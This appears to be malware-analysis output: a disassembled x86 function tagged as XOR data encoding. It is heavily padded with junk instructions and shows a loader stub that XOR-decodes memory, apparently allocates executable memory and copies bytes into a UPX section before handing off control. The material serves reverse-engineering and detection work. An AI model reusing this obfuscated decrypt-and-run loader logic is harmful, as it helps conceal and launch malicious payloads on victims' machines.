Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4e754a17
sub edi, 1
and ebx, ebx
popal
add ebx, ebx
mov edi, ebx
sub ebx, edi
mov ecx, 0
mov edx, esi
mov edi, 0x56098fa4
or edi, eax
mov ebx, edx
and edi, eax
dec edi
mov esi, ebx
dec edi
and eax, edi
inc ecx
and edi, eax
sub edi, eax
add edi, edi
cmp ecx, 0x100141a
jne 0xa789c6
add eax, 1
sub edi, eax
sub eax, 0x576be17d
not edi
or edi, ebx
add ebx, 0xcb6cef9f
mov eax, 0xa78796
mov ecx, esi
add ecx, ebx
mov edx, 0xa7898a
inc ebx
add esi, 0xfa554658
mov edi, dword [eax]
add ebx, ecx
or ecx, esi
and edi, 0xff
inc esi
and esi, esi
xor dword [edx], edi
sub esi, 0xbe6b7a3
or ecx, ebx
inc edx
not esi
not ecx
add eax, 1
or esi, ecx
mov ecx, 0xa7deeb0f
or ebx, esi
cmp edx, entry0
jl 0xa78a19
sub esi, 0x764e48b0
add esi, ecx
add ecx, 0xb2834ab5
and ebx, esi
not esi
sub ecx, 0x4be6624c
add ecx, edi
dec edi
inc esi
mov ebx, 0xa7898e
mov ecx, esi
dec edx
mov ebx, dword [ebx]
add edi, esi
mov ecx, esi
mov ebx, dword [ebx]
mov ecx, 0x7a4ed287
add edx, 0x644389c4
push ebx
mov esi, 0x4746091f
and edx, ecx
add ecx, edx
mov ebx, 0xa7898a
dec esi
add esi, 0xee064251
mov ebx, dword [ebx]
mov edi, ecx
sub edx, ecx
sub esi, 0x3fb8c63e
mov ebx, dword [ebx]
add esi, 0xfdc84c2f
sub edi, 1
add esi, esi
push 0xa78992
sub edx, 0x940b8cce
sub esi, 0xd035702c
mov edx, 0xf117784a
call ebx
add edi, 0x2dd31561
not edi
mov edx, 0xd24f0abf
pop ebx
add esi, 0x94381aa9
add esi, 0x55000959
sub esi, 1
sub esp, 4
mov dword [esp], 0xa7899f
or ecx, esi
and ecx, edi
mov edx, edi
push eax
mov esi, ecx
not esi
call ebx
sub ecx, esi
sub edx, 0x41b52816
push 0x40
and edx, edx
and ecx, ecx
or esi, ecx
push 0x3000
sub edi, ecx
or esi, esi
sub esp, 4
mov dword [esp], 0x20000152
add edx, 0x7c692cec
add edx, 0x7a281c05
push 0
sub edi, edx
sub ecx, 0xa99e8271
call eax
add ecx, 1
not esi
mov edx, 0xaac17bc9
add eax, 0x200000de
mov ecx, edi
add edx, 1
inc edi
mov ebx, 0x456a05d
sub edx, 0x2ef6f7c4
not esi
mov dword [eax], ebx
add esi, 0x69941cb2
add edx, 0xf3414662
mov ebx, dword [eax]
add ecx, ecx
inc edx
cmp ebx, 0x456a05d
je 0xa78b96
mov ebx, 0
mov al, byte [ebx]
add ecx, ecx
dec edx
or edx, esi
mov edi, esi
add edi, 1
sub edi, 1
and ebx, ebx
mov esi, section.UPX1
add ebx, ebx
add edi, 0xcdc7f97d
mov edx, 0xa78795
add edi, edi
mov ebx, 0xe29d0ff7
mov edi, ebx
mov ecx, 0
and edi, ebx
sub ebx, edi
sub ebx, 0x16cf78fc
mov eax, 0xa78796
add edi, edi
add edi, 0xc4b1f73d
sub edi, 1
lea eax, [ecx + eax]
not ebx
add edi, edi
mov eax, dword [eax]
and ebx, ebx
add ebx, 1
mov edi, ebx
and eax, 0xff
mov ebx, edi
or edi, ebx
inc ecx
and edi, ebx
add ebx, 1
cmp ecx, 0x1f4
jne 0xa78c1b
mov ecx, 0
add edi, 0x14e5686f
dec ebx
dec edi
dec ebx
not ebx
or edi, edi
xor dword [esi], eax
sub ebx, 1
or ebx, edi
add esi, 2
sub edi, 0xafd864b0
inc edi
cmp esi, edx
jl 0xa78bd5
add ebx, 1
mov ebx, edi
sub edi, ebx
not ebx
add ebx, ebx
sub ebx, edi
mov esi, section.UPX1
add eax, edx
mov edx, eax
mov edi, section.UPX1
sub edx, 0x700a88de
mov eax, 0x6c811492
mov ecx, 0xa78795
mov edx, eax
mov edx, 0x16501d74
sub eax, 0x2412fe18
mov ebx, 0
and edx, edx
inc eax
or eax, eax
mov bl, byte [edi]
mov eax, 0x279b94e4
inc edx
mov byte [esi], bl
sub edx, 0x569c5a7a
add eax, 0x4c38caca
or edx, eax
inc esi
dec edx
add edx, 1
mov eax, edx
add edi, 2
add eax, 1
mov eax, 0xae48e1ce
mov edx, eax
cmp edi, ecx
jle 0xa78c8c
mov eax, edx
add edx, eax
mov edx, 0xb12a36fa
mov ebx, 0xe7f63424
dec edi
push 0x8dc6a0
dec ebx
mov edi, ebx
ret